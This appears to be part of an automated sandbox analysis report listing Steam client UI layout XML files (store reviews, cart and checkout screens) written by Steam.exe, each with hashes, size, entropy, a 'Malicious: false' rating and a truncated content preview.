SHA1:	BACBC5974A41AF5FFB99656DF1F9E10F27EFEDB9
SHA-256:	39DBD73F1378B5CD98D55754562DFF99DF5068C520C974B0C486440749F4B487
SHA-512:	CE304530B91A3C159E80F790A9999079ACCF578021462C4F252091CB28624D58E66451EE83BF37A274E9515F2E81D5CBCCA3CDDA4F8125EF1B57D2E1CB176882
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/store/storeapp.css" />...</styles>......<StoreAppReviewsSection defaultfocus="ReviewList">....<Panel class="AppSectionWrapper">.....<Label class="HeaderLabel" text="#Store_Reviews" />.....<Panel class="AppSectionBody">......<Panel class="AppSectionSmallBody">.......<Label class="AppSectionOverviewLabel" text="#Store_ReviewsOverview" />......</Panel>......<Panel class="AppSectionLargeBody">.......<Panel id="ReviewList" tabindex="auto" selectionpos="0.0,1.0">........<Label id="ReviewText1" />........<Panel id="ReviewHR2" class="HorizontalRule" />........<Label id="ReviewText2" />........<Panel id="ReviewHR3" class="HorizontalRule" />........<Label id="ReviewText3" />........<Panel id="ReviewHR4" class="HorizontalRule" />........<Label id="ReviewText4" />........<Panel id="ReviewHR5" class="HorizontalRule" />........<Label id="ReviewText5" />.......</Panel>......</Pa

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\store\cart.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1712
Entropy (8bit):	4.949984952402589
Encrypted:	false
SSDEEP:
MD5:	CB1F92B4F4A56CEE8F3876A6CBE24CCD
SHA1:	845C03DE5DE1EC3B852AA0EB09157887043993F1
SHA-256:	BD47A494FF83A7B9FD47BF190721A020CD608D1F4AAB0DD794F53E46F6EA22C7
SHA-512:	8134C5455496CA7C096527DBB1ED369D16FEE0782225EA96A8C9BE5181D003754F5A7A67EF87524CBA09FA464B9B92592201BD1F5B3125E6ECB7B4C579E46783
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/store/checkout.css" />...</styles>......<ShoppingCart class="CheckoutStep" tabindex="auto" selectionpos="auto" defaultfocus="PurchaseForSelfBtn" oncancel="NavigateCheckoutBack()">....<Panel class="CheckoutTitleRow">.....<Label class="CheckoutTitle" text="#Store_Cart_Title" />.....<Label id="CartItemCount" text="#Store_Cart_ItemsInCart" />....</Panel>....<Panel class="CheckoutBody">.....<Panel class="EmptyCartSection">......<Label id="CartStatus" />.....</Panel>.....<Panel class="CartSection">......<Panel class="CheckoutBodyLeftColumn">.......<Panel id="LineItems" overscroll-y="100" />.......<Panel class="CartSubtotalSection">........<Panel id="CouponTotalRow">.........<Label text="#Store_Cart_CouponTotal" />.........<Label id="CouponTotal" text="" />........</Panel>........<Panel id="SubtotalRow">.........<Label text="#Store_Cart_Subtotal" />.........<Label id="Ca

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\store\cart_lineitem.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	652
Entropy (8bit):	4.886506325397564
Encrypted:	false
SSDEEP:
MD5:	05A5A095024E0603F08723E44742A3B4
SHA1:	05CF15F7E4CE64D0888F03CA9E8E1C6B317AB475
SHA-256:	CA4FFEE38EDE5650D38CFB9AC7C1BBF999A74656D4ECB37730474D2F439DC289
SHA-512:	344517B9CADC95A260922ACBEED228DEADF75157B651413911B006223CD13D3C8F73587CBB7AEB12B04ECF7B5B8E773D25F1304F617E5734AC190CA1EDC2A7AE
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/store/checkout.css" />...</styles>......<CartLineItem tabindex="auto" selectionpos="auto">....<Panel class="CartLineItemContents">.....<Panel class="CartItemNamePriceRow">......<Label id="ItemName" />......<StorePrice id="ItemPrice" ShowDiscount="false" />.....</Panel>.....<Panel class="CartItemCouponRow">......<Label id="CartItemCouponName" />......<Label id="CartItemCouponSavings" />.....</Panel>.....<Label id="RecurringSubscriptionDescription" text="" />.....<Panel id="Notes" />....</Panel>...</CartLineItem>...</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\store\cart_noteitem.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	393
Entropy (8bit):	4.783201015744994
Encrypted:	false
SSDEEP:
MD5:	17C6A6282C342F9635F532419C0A9989
SHA1:	C7B1DC558D9575E08FCF5B0ED85A59FD1B447922
SHA-256:	B746CB4FE6D004FB161E04EB6476E7099B12BA021A9BB92F99E99B1227AA0C86
SHA-512:	892CB808D203FA872B1BA1D14E5453EB94C818871722931CB26E331EEC27C7196B087DDE9512DF35F622B6E1025F3D2BA6A22D520CD9D27EF4324EE067B7A342
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/store/checkout.css" />...</styles>......<CartNoteItem tabindex="auto" selectionpos="auto" defaultfocus="CartNoteButton">....<Panel id="CartNoteItemButton">.....<Panel id="CartNoteItemIcon" />.....<Label id="CartNoteItemLabel" />....</Panel>...</CartNoteItem>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\store\cart_setcoupon.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1212
Entropy (8bit):	4.937440251419441
Encrypted:	false
SSDEEP:
MD5:	D5BB76F18115980EEA33680B50484C2C
SHA1:	895C7FE7452F0104F31A855ABC628205832A6B59
SHA-256:	4883B7A69C55A3D05058BED7BECAAC52CF2D6BA686E886DB8F47537C8937BC78
SHA-512:	6B033AB44CA02ECEEC001C8BA64DAE9E77D029E9FC3EB101C956925323461C813E82A482439178B52EBD75388E64531C877607D98248FB64C30ADB8C0DDBAA57
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/msgbox.css" />....<include src="file://{resources}/styles/store/store_setcoupon.css" />...</styles>......<StoreCartSetCoupon defaultfocus="Body" oncancel="ButtonCancel()" >....<Panel class="DialogRegion">.....<Label id="ItemName" text="#Store_Cart_SetCouponHeader" />.....<Label class="CouponInstructions" text="#Store_Cart_SetCouponInstructions" />.....<Panel id="Coupons" tabindex="auto" selectionpos="auto" >...... code is going to add the following panels per coupon:......<Panel class="HorizontalRule" />......<Button class="SuggestedCoupon">.......<Panel class="SuggestedCouponNameSavingsRow">........<Label class="CouponName" />........<Label class="CouponSavings" />.......</Panel>.......<Label class="CouponWarning" />......</Button>......-->.....</Panel>.....<Panel class="HorizontalRule" />.....<Button id="ClearCouponBtn" tabindex="auto" selectionpos="auto">..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\store\checkout_addfunds.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	4.998689341722078
Encrypted:	false
SSDEEP:
MD5:	73A0131F65207C1651DB8D046B50E8B2
SHA1:	423D0E28590BF0F4B22F6D9D51387EA1CED5143F
SHA-256:	22807347374987B68725BC90254B25656F0C86D9ADE8FF566DBD1FCEC309907C
SHA-512:	B6AFD8EB0C79A8175418D0AF9E2AD712D62055186989473107B78EE70C2F96044CE6AA7654321DA26EFDDD0E7DAE7C4CD1153702C7D60BBE35FF91841767C35C
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/store/checkout.css" />...</styles>......<CheckoutAddFunds class="CheckoutStep" tabindex="none" selectionpos="none" defaultfocus="PurchaseButtons" oncancel="NavigateCheckoutBack()">....<Panel class="CheckoutTitleRow">.....<Label class="CheckoutTitle" text="#Checkout_AddFunds_Title" />.....<Panel id="CheckoutWalletSection">......<Label class="CheckoutWalletDescription" text="#Checkout_YourWallet" />......<Label id="WalletBalance" />.....</Panel>....</Panel>....<Panel class="CheckoutBody" tabindex="auto" selectionpos="auto">.....<Panel class="CheckoutBodyLeftColumn">......<Label class="AddFundsDescription" text="#Checkout_AddFunds_Description" />.....</Panel>.....<Panel class="VerticalRule" />.....<Panel id="AddFundsButtons" class="CheckoutBodyRightColumn">...... Code will add AddFundsButtons & separators -->.....</Panel>....</Panel>...</CheckoutAddFunds>...</roo

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\store\checkout_addfunds_button.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	362
Entropy (8bit):	4.938870137533374
Encrypted:	false
SSDEEP:
MD5:	FED89247A7DB9F63E8204992C448963D
SHA1:	1F647DC086EB9032A78CDB1824233B3EF296E663
SHA-256:	FFF6F4EDC16F7DF70729BCB8EC2FFA05631AFB0F541997FD7698201099A7447B
SHA-512:	C91B389D2060217CB8A429EA52C31F9F7E47D7615C509FD4888FE19C77D75F932BE9CFFA9465266E9BC07220C921B08DA9E55040707356E3EB399A34C62777AE
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/store/checkout.css" />...</styles>......<CheckoutAddFundsButton>....<Label id="AddFundsText" text="#Checkout_AddFunds_AddAmount" />....<Label id="MinRequredText" text="#Checkout_AddFunds_Minimum" />...</CheckoutAddFundsButton>...</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\store\checkout_billinginfo.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5211
Entropy (8bit):	5.087387962777202
Encrypted:	false
SSDEEP:
MD5:	CA4758B6E0122EA9A144732F07690485
SHA1:	61CC785A8365E08F1FA9C387BB43F8D347DA3273
SHA-256:	EC3E8DAE34B15594BE6F1134DB917F9A611924EF9418C8D3E29F6B396CB35141
SHA-512:	26714932D4D3634512C352AB2033DF056355D8FFF9CDC827C7FD0FF1C0803A785D5BBA17045FFFC4AAD067860A8AFEF66344BD3C77F2D2B117A44EE139474803
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/store/checkout.css" />...</styles>......<CheckoutBillingInfo class="CheckoutStep" tabindex="none" selectionpos="none" defaultfocus="FirstName" oncancel="NavigateCheckoutBack()">....<Panel class="CheckoutTitleRow">.....<Label class="CheckoutTitle" text="#Checkout_BillingInfo_Title" />......<Panel class="CheckoutProgress">.......<Label class="CheckoutThisStep" id="PaymentInfo" text="#Checkout_PaymentStep_Method" />.......<Image src="file://{images}/store/CheckoutArrow.png" />.......<Label class="CheckoutOtherStep" id="PaymentReviewPurchase" text="#Checkout_PaymentStep_Review" />......</Panel>.....</Panel>....<Panel class="CheckoutBody" selectionpos="0,0">.....<Panel class="CheckoutBodyLeftColumn" tabindex="0" selectionpos="0,0">......<Panel class="CheckoutBillingInfoLeftColumn" tabindex="0" selectionpos="0,0">.......<Panel class="BillingNameRow" tabindex="0" selecti

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\store\checkout_confirmation.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2643
Entropy (8bit):	5.003223487960513
Encrypted:	false
SSDEEP:
MD5:	2AF6B65AF154E16BE1C2E67EBB644EDA
SHA1:	B543E767B59B1B91E0055CAC955930A367E83278
SHA-256:	9CDDCD63D200C7964557E5BAD8F57EE2F7E65AB39CDC8CBEC204373C15AB4B29
SHA-512:	27F889B58E0B4932832E2EF613E38B2562502BE4EAC43553BBD4F1EF1CA973ADAB57285718958A7834F4A8D3D3FD923FC1F9F950A65B9DEBCA0EA8178F0810C4
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/store/checkout.css" />...</styles>......<CheckoutReview class="CheckoutStep" tabindex="none" selectionpos="none" defaultfocus="GoToLibraryBtn" >....<Panel class="CheckoutTitleRow">.....<Label id="CheckoutTitle" class="CheckoutTitle" text="#Checkout_Confirmation_Title" />....</Panel>....<Panel class="CheckoutBody">.....<Panel class="CheckoutBodyLeftColumn">......<Label id="PackageAddedDescription" class="ConfirmationTextGap" text="#Checkout_Confirmation_ToAccessGames" />......<Label id="FundsAddedDescription" class="ConfirmationTextGap" text="#Checkout_Confirmation_FundsAdded" />......<Label id="ConfirmationText" class="ConfirmationTextGap" text="#Checkout_Confirmation_ReceiptText" />......<Panel id="ReceiptSection" class="ReceiptSection">.......<Panel class="ReceiptRow">........<Label class="PaymentMethodReviewHeader" text="#Checkout_Confirmation_AccountName" />..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\store\checkout_giftnote.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3424
Entropy (8bit):	5.156171483960162
Encrypted:	false
SSDEEP:
MD5:	4D519EC7FF7C4146D18CDCB89942C0AC
SHA1:	1931C5A98B6894003E0E484E18F3AD8BE6057FDF
SHA-256:	2B17153DA9245775D1AEC2317CEE31DB56B1B883CED18FDB24632EBEBD4A445A
SHA-512:	00D16EE8168364484DDFF9ED9C9E687E9A3FE0CB0A2FE17AF29A43CC560D32AFC0903D4B8778BE8DE0AA124EBB04144CF2921087A3821A93A14591CDF64CC22E
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/store/checkout.css" />...</styles>......<CheckoutGiftNote class="CheckoutStep" tabindex="none" selectionpos="none" defaultfocus="EmailMyGiftBtn" oncancel="NavigateCheckoutBack()">....<Panel class="CheckoutTitleRow">.....<Label class="CheckoutTitle" text="#Checkout_GiftNote_Title" />.....<Panel class="CheckoutProgress">......<Label class="CheckoutOtherStep" id="GiftDelivery" text="#Checkout_PaymentStep_GiftDelivery" />.......<Image src="file://{images}/store/CheckoutArrow.png" />......<Label class="CheckoutThisStep" id="GiftNote" text="#Checkout_PaymentStep_GiftNote" />.......<Image src="file://{images}/store/CheckoutArrow.png" />......<Label class="CheckoutOtherStep" id="PaymentInfo" text="#Checkout_PaymentStep_Method" />.......<Image src="file://{images}/store/CheckoutArrow.png" />......<Label class="CheckoutOtherStep" id="PaymentReviewPurchase" text="#Checkout_P

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\store\checkout_giftrecipient.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3618
Entropy (8bit):	5.111625816244557
Encrypted:	false
SSDEEP:
MD5:	42980889DD4A12FE8530A56C5531DDFF
SHA1:	7AF130F5FA4C5D2B2148EB236A8C0BB0153B1202
SHA-256:	BEB23F398FBF3CA8E07610AD2706D0C58CD17425305CEE7E23F76CFA3A019940
SHA-512:	530546D371BDE2EAB86DA08B7BEF488340B8665EFCA5BAAB73DBFE8995CAFAC8449F13E9C73D36255F2B4A3D324501511E4CE189FE46EFC8A11B9513CD5F9BA9
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/store/checkout.css" />...</styles>......<CheckoutGiftRecipient class="CheckoutStep" tabindex="none" selectionpos="none" defaultfocus="EmailMyGiftBtn" oncancel="NavigateCheckoutBack()">....<Panel class="CheckoutTitleRow">.....<Label class="CheckoutTitle" text="#Checkout_GiftRecipient_Title" />.....<Panel class="CheckoutProgress">......<Label class="CheckoutThisStep" id="GiftDelivery" text="#Checkout_PaymentStep_GiftDelivery" />.......<Image src="file://{images}/store/CheckoutArrow.png" />......<Label class="CheckoutOtherStep" id="GiftNote" text="#Checkout_PaymentStep_GiftNote" />.......<Image src="file://{images}/store/CheckoutArrow.png" />......<Label class="CheckoutOtherStep" id="PaymentInfo" text="#Checkout_PaymentStep_Method" />.......<Image src="file://{images}/store/CheckoutArrow.png" />......<Label class="CheckoutOtherStep" id="PaymentReviewPurchase" text="#

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\store\checkout_giftrecipient_friend.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	563
Entropy (8bit):	5.03571362991127
Encrypted:	false
SSDEEP:
MD5:	D28D629B12B6530DE7F6EF2A9E6804F8
SHA1:	590F090FB3BF5D65888C4CDFB678D21BE0EAEECA
SHA-256:	CAD3EFCF78E71E91F694BAEB9B71717557E530C912DCE371CFC6235C37847136
SHA-512:	B3CF9A2EA57F18D0DA4912519F047021751F285632F8F523477948BB3A0A69B0BB5DFC91B70A9C4CC00D99F07ED52B8C4DA0C4607DA043F9E706F03F3A687AB1
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/store/checkout.css" />...</styles>......<CheckoutGiftRecipientFriend onactivate="RecipientSelected( friend )" >....<AvatarImage id="Avatar" />....<Panel class="SendToFriendText">.....<Label id="SendToFriendName" text="" />.....<Label id="SendToFriendWishes" text="#Checkout_GiftRecipient_FriendWishes" />.....<Label id="SendToFriendOwns" text="#Checkout_GiftRecipient_FriendOwns" />....</Panel>...</CheckoutGiftRecipientFriend>...</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\store\checkout_microtxnauth.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2777
Entropy (8bit):	5.004536456679867
Encrypted:	false
SSDEEP:
MD5:	8827DE6230E91E48023413435D8C2E2D
SHA1:	05AA24EDF6D614F00FDA642AC628BE1E823CCCBA
SHA-256:	22946088777B7CB7FA6B0D97B70D9F75D721CEB66200FF1B1F302FAD95AAB903
SHA-512:	36E533C52FBBF07263E87F82B1984466E6C217FA37CBC382AE083835574AD968A55E5B3E7C3A0B448850D8339AC577E17B10B96346649647E61FD0F8944C5E59
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/store/checkout.css" />...</styles>......<CheckoutMicroTxnAuth class="CheckoutStep" tabindex="none" selectionpos="none" defaultfocus="PurchaseForSelfBtn" oncancel="NavigateCheckoutBack()">....<Panel class="CheckoutTitleRow">.....<Label class="CheckoutTitle" text="#Checkout_MicroTxnAuth_Title" />.....<Panel id="CheckoutWalletSection">......<Label class="CheckoutWalletDescription" text="#Checkout_YourWallet" />......<Label id="WalletBalance" />.....</Panel>....</Panel>....<Panel class="CheckoutBody">.....<Panel id="MicroTxnAuthErrorSection">......<Label text="#Checkout_MicroTxnAuth_Error" />.....</Panel>.....<Panel id="CheckoutBody" class="CheckoutBody" tabindex="auto" selectionpos="auto">......<Panel class="CheckoutBodyLeftColumn">.......<Label class="MicroTxnAuthDescription" text="#Checkout_MicroTxnAuth_Description" />.......<Panel class="HorizontalRule" />........

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\store\checkout_microtxnauth_lineitem.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	589
Entropy (8bit):	5.027770866685713
Encrypted:	false
SSDEEP:
MD5:	84D1A452911032EB4063B9CFE9D43AD9
SHA1:	6938D5DC7D47E413359E177585C5F993EB35F8FE
SHA-256:	3543B004E01773E349BFE13769D0E9AA04FD0AC2681158EFED3B51DE0DD14CF8
SHA-512:	F4B7D29AC455C7450B1C7D4253E013840B22E62ED559125340DD4AD2359DBEF4EF82426DBC0BB81E22692128C20AA4602D6A55291D1D436531091B123522B26C
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/store/checkout.css" />...</styles>......<CheckoutReviewLineItem tabindex="auto" selectionpos="auto">....<Panel id="MainRow">.....<Label id="ItemQuantity" text="#Checkout_MicroTxnAuth_Quantity" />.....<Label id="ItemName" text="" />.....<StorePrice id="ItemPrice" ShowDiscount="false" />....</Panel>....<Panel id="Details">.....<Label id="RecurringSubscriptionDescription" text="#Checkout_MicroTxnSubscription" />....</Panel>...</CheckoutReviewLineItem>....</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\store\checkout_paymentmethod.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1429
Entropy (8bit):	5.006363308675324
Encrypted:	false
SSDEEP:
MD5:	73F502190B36B7F6D8F55CA215DF32F8
SHA1:	C1660C03B69D287DF91116A067799DF558F789B0
SHA-256:	C64072441158199D5C0EE38A7CBC7A546C1F97AF91C7663897877C959BE32783
SHA-512:	94F79BCC31106E691268EE670665694CD4D220F5325F489AFA8171147BB0956A0270C330AAC049362BA96434A22E15C5FB69CDF7F9C8C075AE921E3C7C6EF22A
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/store/checkout.css" />...</styles>......<CheckoutPaymentMethod class="CheckoutStep" tabindex="none" selectionpos="none" defaultfocus="PaymentMethod" oncancel="NavigateCheckoutBack()">....<Panel class="CheckoutTitleRow">.....<Label class="CheckoutTitle" text="#Checkout_PaymentMethod_Title" />.....<Panel class="CheckoutProgress">......<Label class="CheckoutThisStep" id="PaymentInfo" text="#Checkout_PaymentStep_Method" />.......<Image src="file://{images}/store/CheckoutArrow.png" />......<Label class="CheckoutOtherStep" id="PaymentReviewPurchase" text="#Checkout_PaymentStep_Review" />.....</Panel>.....</Panel>....<Panel class="CheckoutBody" tabindex="auto" selectionpos="auto">.....<Panel class="CheckoutBodyLeftColumn">......<CheckoutPaymentMethodFields id="PrimaryMethod" />......<CheckoutPaymentMethodFields id="SecondaryMethod" />.....</Panel>.....<Panel class="Verti

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\store\checkout_paymentmethod_fields.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3275
Entropy (8bit):	5.146990036049343
Encrypted:	false
SSDEEP:
MD5:	E86DD5FE4475BAD72A3E7CC14DC3D8AC
SHA1:	6D584F7F808C198E72731FC8B6B48A0D2BB28B58
SHA-256:	0C59364943AB0E835170639E1849C19CA7931D0A017DDFD7615482D55E4F5DCB
SHA-512:	34A7A00E10343E7475BEF1A355F951B99D8FF290449256A76C229BA5F0AEBC2187CCE9AE256DF516778A8846D347D375CCE07E235663FB4F4321B484ED169549
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/store/checkout.css" />...</styles>......<CheckoutPaymentMethodFields defaultfocus="PaymentMethod">....<Label class="PaymentMethodHeader" id="PaymentMethodHeader" text="#Checkout_PaymentMethod_Instructions" />....<DropDown id="PaymentMethod" />.........<Panel class="HorizontalRule" />......<Panel id="CreditCardFields">.....<Label class="PaymentMethodHeader" text="#Checkout_PaymentMethod_CartNumber" />.....<TextEntry id="CreditCardNumber" maxchars="16" ......textinputid="CheckoutFormTextEntry"......textinputclass="HalfWidth DockRight AppearFromBottomCenter"......textmode="numeric"......textinputdoneactionstring="#UI_Next"......oninputsubmit="NavigateToNextField();"...../>.....<Label class="PaymentMethodHeader" text="#Checkout_PaymentMethod_ExpirationDate" />.....<Panel class="CreditCardExpirationRow">......<DropDown id="CreditCardMonth" oninputsubmit="NavigateToNext

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\store\checkout_review.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4507
Entropy (8bit):	5.027988674699811
Encrypted:	false
SSDEEP:
MD5:	B8B18255F48331E73D5980310CC2D345
SHA1:	71A96C66407DC2F99035966B9F17DC296FFB9BEC
SHA-256:	2C9C16B4378957DB57EE7EF53C4F8A7125312231B174971A9CB25F7578DE04D1
SHA-512:	2A55D68B506BB898CA88D631DFAF5FDB0B4F558470F27BEB3007FFF26B3CADBBE19125EB1138553F039BE58A99E8B762E040F7C9FF410E5DB58641DE5CDA138B
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/store/checkout.css" />...</styles>......<CheckoutReview class="CheckoutStep" tabindex="none" selectionpos="none" defaultfocus="PurchaseButtons" oncancel="NavigateCheckoutBack()">....<Panel class="CheckoutTitleRow">.....<Label id="CheckoutTitle" class="CheckoutTitle" text="#Checkout_Review_Title" />.....<Panel class="CheckoutProgress">......<Label class="CheckoutOtherStep" id="PaymentInfo" text="#Checkout_PaymentStep_Method" />.......<Image src="file://{images}/store/CheckoutArrow.png" />......<Label class="CheckoutThisStep" id="PaymentReviewPurchase" text="#Checkout_PaymentStep_Review" />.....</Panel>.....</Panel>....<Panel class="CheckoutBody" tabindex="auto" selectionpos="auto">.....<Panel class="CheckoutBodyLeftColumn">........<Panel id="CheckoutReviewLineItems" />......<Panel class="CheckoutGiftRegionWarningPanel" id="GiftRegionWarningPanel" visible="true">...

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\store\checkout_review_lineitem.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	607
Entropy (8bit):	4.9735844076662
Encrypted:	false
SSDEEP:
MD5:	D510ED4B9204E0DF1678A997515AC276
SHA1:	73691223957EF36265DE8102CD7105F4234FB495
SHA-256:	F1607BF0712B4D64220AC7995B3D7421613FD1D52939FA2DC2B8BD671323F72E
SHA-512:	59F3D439410D27A363E7404F7F9DF389F284E14C3AAFC2F6F95F90D5A26CD2D1430A3AD8619741471A77435893F2F25ED5D638CE70D1A2149B0653C75E545F30
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/store/checkout.css" />...</styles>......<CheckoutReviewLineItem tabindex="auto" selectionpos="auto">....<Panel class="CartItemNamePriceRow">.....<Panel id="CartItemGiftRegionWarningIcon" visible="false" class="CheckoutGiftRegionWarningIcon" />.....<Label id="ItemName" text="" />.....<StorePrice id="ItemPrice" ShowDiscount="false" />....</Panel>....<Label id="RecurringSubscriptionDescription" text="" />....<Label id="ItemWarning" text="" />...</CheckoutReviewLineItem>...</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\store\checkout_shippinginfo.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5686
Entropy (8bit):	5.086189410352742
Encrypted:	false
SSDEEP:
MD5:	ED407F76B7594C875B09834E7351F121
SHA1:	19A5541394472F8D1A8E3A308D9DECC9A0553AED
SHA-256:	A0A9292415AC10D446BF7394FE21405EEFB10EBCFF511B91E856AEB687C205AB
SHA-512:	DF265BD5920450AE81B8CEA6071DBF3BA156EA7E6B69213A724DC1B045E3952A930A6F5DB399FC0D752977BB7C80804AECAA8C5D753FF3886D5E030F440ACD72
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/store/checkout.css" />...</styles>......<CheckoutShippingInfo class="CheckoutStep" tabindex="none" selectionpos="none" defaultfocus="FirstName" oncancel="NavigateCheckoutBack()">....<Panel class="CheckoutTitleRow">.....<Label class="CheckoutTitle" text="#Checkout_ShippingInfo_Title" />......<Panel class="CheckoutProgress">.......<Label class="CheckoutThisStep" id="ShippingInfo" text="#Checkout_PaymentStep_ShippingInfo" />.......<Image src="file://{images}/store/CheckoutArrow.png" />.......<Label class="CheckoutOtherStep" id="PaymentInfo" text="#Checkout_PaymentStep_Method" />......</Panel>.....</Panel>....<Panel>.....<Label id="ErrorMessage" class="AddressValidationError" visible="false" text=""/>....</Panel>....<Panel class="CheckoutBody" selectionpos="0,0">.....<Panel class="CheckoutBodyLeftColumn" tabindex="0" selectionpos="0,0">......<Panel class="CheckoutShip

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\store\checkout_verifyemail.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1382
Entropy (8bit):	5.0141109788931955
Encrypted:	false
SSDEEP:
MD5:	643B6909206DD4F3EBBC716897282D35
SHA1:	86667E77A2F89BA639A09CEE0F31E2AC9CFFDF3C
SHA-256:	4B62D4EB3F267AD11267F695F4DF9F7EF74D59B0DA18D6B120A16F567AC31984
SHA-512:	03F55AE696E5E655837A793D866B390E50E7583B6E6590524FCC5481AA70859CCCA3F49B99A40E0577CCC9E932473E7F73C789BCE9F1FD1058F327D9F650F2A1
Malicious:	false
Reputation:	unknown
